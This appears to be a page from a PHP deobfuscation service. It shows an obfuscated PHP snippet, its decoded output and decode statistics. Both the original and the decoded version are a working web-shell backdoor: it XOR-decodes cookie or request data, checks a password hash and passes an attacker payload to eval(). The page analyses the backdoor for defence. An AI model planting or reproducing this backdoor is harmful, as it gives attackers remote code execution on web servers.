Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $ivRGYO='-7 LI.5KI=O G+Y'; $gXCsxbH='NEE-=Kj-<S,T.D7'^$ivRGYO; $iJtsNs='=RdNS<Z 58Q-..
Decoded Output download
if(!function_exists('xor_data__mut')) {
function xor_data__mut($data, $key) {
$out = '';
for($i = 0; $i<strlen($data); $i++)
$out .= ($data[$i] ^ $key[$i % strlen($key)]);
return($out);
}
}
$data = false;
$data_key = false;
foreach ($_COOKIE as $key => $value) {
$data_key = $key;
$data = $value;
}
if (!$data) {
foreach ($_REQUEST as $key => $value) {
$data_key = $key;
$data = $value;
}
}
$data = @unserialize(xor_data__mut(base64_decode($data), $data_key));
if($data && array_key_exists('key', $data) && (md5($data['key']) == 'cf94416b34fb053a2b893477766f739a') && array_key_exists('payload', $data)) {
eval($data['payload']);
exit(0);
}
echo(md5(md5($_SERVER["HTTP_HOST"])));
Did this file decode correctly?
Original Code
<?php $ivRGYO='-7 LI.5KI=O G+Y'; $gXCsxbH='NEE-=Kj-<S,T.D7'^$ivRGYO; $iJtsNs='=RdNS<Z 58Q-hV:0EO enIAAf37=TjdY9AwJNj7Oe,L=97Q+NaIR9e 111+kV2NnC-3E3aeg:.Umxxyid2PzaW,>8vnrfrI;axR80Cv.xUlEqiIWxKT -T Fm2 1UyBrOPbxMZpNFRXZtfMiLlXA776mXqzdpqU-4vhTrcY2EGRQVBCGWAqkyYke5OTJCO+PtCB<Ex1GCIFCrp>;FMXgf.T A2kZA-OOJqFPAvwu7 ;G1jsEHBK-+ 0azw>3d8 ,njS1DU> KfxpkRJR5 <xoH0ntS3:9b9I7qXvBR UUxzhD7B xTQu=+>LIneQar3RseUkD CQBpIooQWG7OTRwOV2jtqh6i>z20OpVNJTKIXNEWA<UnKIyFlp=AAQ9G 4PKBG=+=yzklA,ZOWWyFKXZP8<VoK>iJ<ar79Y dkp2CXSE;: AUN1OM5Ea,-<Z7r57:MYT=PdntOT1;>VaFJ9G7leikSL=,t,31lFwy:<qpXL9+lTUa6 76CtE5>0QU=JC2kb>=BSynq+98 XQTsdE<YmkoJX040d2REpaGjKlYsH LYmpBOwL05wqu0J,pqTSzxtppUVxaLrxxqRbQ=RW:;UY>1 X0X<pi 1 VV84fAqfR1C-GfleTchyJ<3.H0WqA45N3=cA :A6; W.MKKfTNG1bcsid4e2SQQcMPzbS6ENL2i-1l55bt=j;7t.vm aqDxHc1'; $HXhidM=$gXCsxbH('', 'T4Lo5I4CAQ>C73BY6;SMI1.39WVI55;4L5PcgJLElJ9SZC8D A1=K:DPEPt4;G:FgIR1RMECQK,DXXYIDIZshsCKLVSRAUr1hq4WBkRGXhLuJIm>D8 RA1NnIVAE4PyRk9ISdPyGb=-.THpIdH< CVmI1,Z:PU>HM-L=RFyA15>48jg,28X6Pbal<=1>6=ExP,7HlC;N>C;IxTZZ2,xZFH5L2WPPeI.;+.-58VJUQAW4TQyO.-9HJCXARSap+wke+J2BdqUE2FENKv<3YUYQO3:gP7RNX=R,NQeVf9E,nrsL V6AXiqQKJR9,Uo,kxZ4SMtO A70kP2ef785R.7:Wgrm81 =s:jZSCoT=+3tvwxj36-I0Gk2sOeTY 50f,EMpvbcVNDBpbeeH;;6wDfo.;<MYmeBCc76kVSX-ADVPr66 ISA-<4Tg5Z7>HLH;h-XBNe;5N5RZ++1RTZ3Ib.X3VEIIO7-IM+GVHEoLsSZYT<-MJLrsAWREW:+.PGo4-T97ACEUX;tUNUOXLAqqrUDmQ=XCK.9DUkCY7<W<nJvQyT+FumYAt-DxVWGDFQxNHHggMOCFF3aKX-UQXWtB0O 6Cd><GnEX1C,OXNPPY:9YPAmQB6P7LnOLEtCHY16:K>Q;YePT:RfD1AC-YZDpsdpAo16.EJSZRnIoW09>K 4OJ>Rpfhm:hc:pg9Vu>og+f9>tC,mQaX;'^$iJtsNs); $HXhidM();
Function Calls
| null | 1 |
| create_function | 1 |
Stats
| MD5 | fee56db5f881424fdf8997d5e1dff86b |
| Eval Count | 1 |
| Decode Time | 64 ms |